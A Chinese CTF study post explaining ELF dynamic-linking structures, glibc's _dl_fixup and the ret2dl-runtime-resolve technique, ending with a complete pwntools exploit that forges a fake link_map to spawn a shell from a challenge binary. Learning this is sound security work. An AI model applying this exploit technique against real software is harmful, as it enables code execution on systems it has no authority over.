先放几个学习的链接
推荐第一个
Return-to-dl-resolve
CTF-wiki
高级ROP ret2dl_runtime 之通杀详解
聊聊动态链接和dl_runtime_resolve
dl-resolve浅析添加链接描述
64位相关
ret2dl-runtime-resolve详细分析(32位&64位)
64位ret2_dl_runtime_resolve模版题以及踩坑记录
dl_runtime_resolve结合源码分析及常见的几种攻击手法
ret2dl x64 & x32的差异
ELF的学习参考
程序员的自我修养
ELF里专门用于动态链接的段还有几个,首先是.dynamic段。这个段里保存了动态链接器所需的基本信息,比如依赖于哪些共享对象,动态链接符号表的位置,动态链接重定位表的位置,共享对象初始化代码的地址。.dynamic段的结构
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
Elf32_Dyn结构由一个类型值(d_tag
)加上一个附加的数值(d_val
)或者指针组成(d_ptr
),对于不同的类型,后面附加的数值或者指针有不同的含义,可供取值的部分范围如下
这个段给动态链接器提供动态链接的各种信息入口,用readelf -d bin
可以看到详细的关于此模块的详细动态链接信息。
.rel.plt
和.rel.dyn
)使用readelf -r bin
可以查看elf文件的重定位section.
.rel.dyn
包含了需要重定位的变量的信息, 叫做变量重定位表
.rel.plt
包含了需要重定位的函数的信息, 叫做函数重定位表
32位和64位使用的重定位表有一点区别,都是结构体数组但是一般32位使用Rel,64位使用Rela。结构体长成下面这个样子。
#define ELF32_R_SYM(i) ((i)>>8) // 获得高24位,表示在符号表中的偏移 R_SYMBOL
#define ELF32_R_TYPE(i) ((unsigned char)(i)) //获得低8位,表示重定位类型
#define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t)) //通过R_SYM和Type重组info
typedef struct
{
Elf32_Addr r_offset; /* Address,指向对应got表的指针*/
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
typedef struct elf32_rela{
Elf32_Addr r_offset;
Elf32_Word r_info;
Elf32_Sword r_addend;
} Elf32_Rela
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
我们拿32位的举例子,重定位表项结构体是Elf32_Rel类型,包含r_offset和r_info两个信息,都是4个byte。r_offset:指向对应got表的指针。r_info的高24位表示这个动态符号在动态链接符号表.dynsym中的位置。而r_info的低8位,表示这个待重定位对象的重定向类型。动态链接的重定向类型写在下面了。
/* i386 relocs. */
#define R_386_NONE 0 /* No reloc */
#define R_386_32 1 /* Direct 32 bit */
#define R_386_PC32 2 /* PC relative 32 bit */
#define R_386_GOT32 3 /* 32 bit GOT entry */
#define R_386_PLT32 4 /* 32 bit PLT address */
#define R_386_COPY 5 /* Copy symbol at runtime */
#define R_386_GLOB_DAT 6 /* Create GOT entry */
#define R_386_JMP_SLOT 7 /* Create PLT entry */
#define R_386_RELATIVE 8 /* Adjust by program base */
/* AMD x86-64 relocations. */
#define R_X86_64_NONE 0 /* No reloc */
#define R_X86_64_64 1 /* Direct 64 bit */
#define R_X86_64_PC32 2 /* PC relative 32 bit signed */
#define R_X86_64_GOT32 3 /* 32 bit GOT entry */
#define R_X86_64_PLT32 4 /* 32 bit PLT address */
#define R_X86_64_COPY 5 /* Copy symbol at runtime */
#define R_X86_64_GLOB_DAT 6 /* Create GOT entry */
#define R_X86_64_JUMP_SLOT 7 /* Create PLT entry */
#define R_X86_64_RELATIVE 8 /* Adjust by program base */
#define R_X86_64_GOTPCREL 9 /* 32 bit signed PC relative offset to GOT */
前面提到过全局偏移表(GOT表)在 ELF 文件中分为两个部分.got和.got.plt
#ifndef reloc_offset
#define reloc_offset reloc_arg
#define reloc_index reloc_arg / sizeof (PLTREL)
#endif
.dynsym
)是一个结构体数组,结构体为Elf32_Sym:
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
我们主要关注动态符号中的两个成员(注意32位和64位中这两个值在结构体里的位置不一样!)
st_name
, 该成员保存着动态符号在 .dynstr
表(动态字符串表)中的偏移。
st_value
,如果这个符号被导出,这个符号保存着对应的虚拟地址。
开始为0,然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)
动态链接下第一次调用glibc的函数需要通过plt表中的一段代码解析函数的真实地址,这也是linux的延迟绑定的特点。具体的解析方式就是调用_dl_runtime_resolve(link_map_obj, reloc_arg)
,如果我们可以控制整个解析过程中的参数,那么就能解析我们想要的函数地址。以调用printf
函数为例,回顾一下整个流程:
第一次调用printf
函数时
再次调用printf
时,就会直接跳转到该函数代码处执行
dl_runtime_resolve
.dynamic section
,分别取出.dynstr
, .dynsym
,.rel.plt
的地址.rel.plt
+ reloc_index
求出当前函数重定位表项 Elf32_Rel的指针
,记为rel
rel->r_info
的高24位作为.dynsym
的下标,求出Elf32_Sym
的指针,记作sym
.dynstr
+ sym->st_name
得到符号名字符串rel->r_offset
,即.got.plt
_dl_runtime_resolve
在glibc-2.23/sysdeps/i386/dl-trampoline.S
中使用汇编实现,主要是通过调用_dl_fixup
来完成后续操作的gdb-peda$ x/xw 0x804a008
0x804a008: 0xf7fee000
gdb-peda$ x/10i 0xf7fee000
0xf7fee000: push eax
0xf7fee001: push ecx
0xf7fee002: push edx
0xf7fee003: mov edx,DWORD PTR [esp+0x10]
0xf7fee007: mov eax,DWORD PTR [esp+0xc]
0xf7fee00b: call 0xf7fe77e0
0xf7fee010: pop edx
0xf7fee011: mov ecx,DWORD PTR [esp]
0xf7fee014: mov DWORD PTR [esp],eax
0xf7fee017: mov eax,DWORD PTR [esp+0x4]
可以看到0xf7fee00b
处call 0xf7fe77e0
,即调用_dl_fixup
,并且通过寄存器传参
_dl_fixup
在glibc-2.23/elf/dl-runtime.c
中实现
_dl_fixup的源码在这里:
/* On-demand PLT fixup for shared objects.
Copyright (C) 1995-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
. */
#define IN_DL_RUNTIME 1 /* This can be tested in dl-machine.h. */
#include
#include
#include
#include
#include
#include
#include "dynamic-link.h"
#include
#include
#if (!ELF_MACHINE_NO_RELA && !defined ELF_MACHINE_PLT_REL) \
|| ELF_MACHINE_NO_REL
# define PLTREL ElfW(Rela)
#else
# define PLTREL ElfW(Rel)
#endif
/* The fixup functions might have need special attributes. If none
are provided define the macro as empty. */
#ifndef ARCH_FIXUP_ATTRIBUTE
# define ARCH_FIXUP_ATTRIBUTE
#endif
#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index reloc_arg / sizeof (PLTREL)
#endif
/* This function is called through a special trampoline from the PLT the
first time each PLT entry is called. We must perform the relocation
specified in the PLT of the given shared object, and return the resolved
function address to the trampoline, which will restart the original call
to that address. Future calls will bounce directly from the PLT to the
function. */
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
即
1. 首先通过link_map访问.dynamic节段,并获得.dynstr, .dynsym, .rel.plt节段的地址
2. .rel.plt + reloc_arg(第二个参数(导入函数在.rel.plt中的偏移))求出对应函数重定位表项Elf32_Rel的指针
3. 利用此指针得到对应函数的r_info,r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
4. 利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针
5. 在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针
6. 赋值给GOT表后,把控制权返还给write
dl_runtime_resolve结合源码分析及常见的几种攻击手法
参考这个文章,在ubuntu16.04的电脑上跑文章里的x64位的程序和脚本,总是出错,发现是执行完
xsave [rsp+0x40]
,之后,got表里的内容被清空了,,,,,导致不能绕过dl_fixup函数里的检查
查看Intel指令集的文档,可以知道save根据edx和eax相与之后的结果,来作为bit map,来保存指定寄存器的内容到内存中
将exp中的 write_addr 改为0x6004d0,或者再低一点的地址即可。
#coding=utf-8
from pwn import *
context.log_level = 'debug'
elf= ELF('./level3_x64')
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('./level3_x64')
'''
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
}Elf64_Sym;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
}Elf64_Dyn;
struct link_map
{
ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
//省略,后面还有很多
};
'''
#ret_csu gadgerts
universal_gadget1 = 0x4006AA
universal_gadget2 = 0x400690
Elf64_Sym_len = 0x18
Elf64_Rela_len = 0x18
write_addr = 0x6004d0
link_map_addr = write_addr+0x18
rbp = write_addr-8
pop_rdi_ret = 0x4006b3
leave = 0x400618
main = 0x4005E6
#fake_Elf64_Dyn_STR_addr = l+0x68
#fake_Elf64_Dyn_SYM_addr = l+0x70
#fake_Elf64_Dyn_JMPREL_addr = l+0xf8
l_addr = libc.sym['system'] - libc.sym['__libc_start_main']
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
gdb.attach(p,'b _dl_runtime_resolve_xsave')
#gdb.attach(p,'b read')
def fake_link_map_gen(link_map_addr,l_addr,st_value):
fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
fake_Elf64_Dyn_STR_addr = link_map_addr
fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8)
fake_Elf64_rela = p64(link_map_addr - l_addr) + p64(7) + p64(0)
fake_link_map = p64(l_addr) #0x8
fake_link_map += fake_Elf64_Dyn_SYM #0x10
fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
fake_link_map += fake_Elf64_rela #0x18
fake_link_map += '\x00'*0x28
fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
fake_link_map += '/bin/sh\x00'.ljust(0x80,'\x00')
fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
return fake_link_map
fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['__libc_start_main'])
payload = 'a'*0x80
payload += p64(rbp)
payload += p64(universal_gadget1)
payload += p64(0) #pop rbx
payload += p64(1) #pop rbp
payload += p64(elf.got['read']) #pop r12
payload += p64(len(fake_link_map)+0x18) #pop r13 --rdx
payload += p64(write_addr) #pop r14 --rsi
payload += p64(0) #pop r15 --rdi
payload += p64(universal_gadget2) #ret
payload += p64(0)*7
payload += p64(main)
p.sendafter('Input:\n',payload)
sleep(1)
fake_info = p64(0x4004A6) #jmp
fake_info += p64(link_map_addr)
fake_info += p64(0)
fake_info += fake_link_map
p.send(fake_info)
payload = 'a'*0x80+p64(rbp)+p64(pop_rdi_ret)+p64(link_map_addr+0x78)+p64(leave)
#stack pivot,进入函数重定向
p.sendafter('Input:\n',payload)
p.interactive()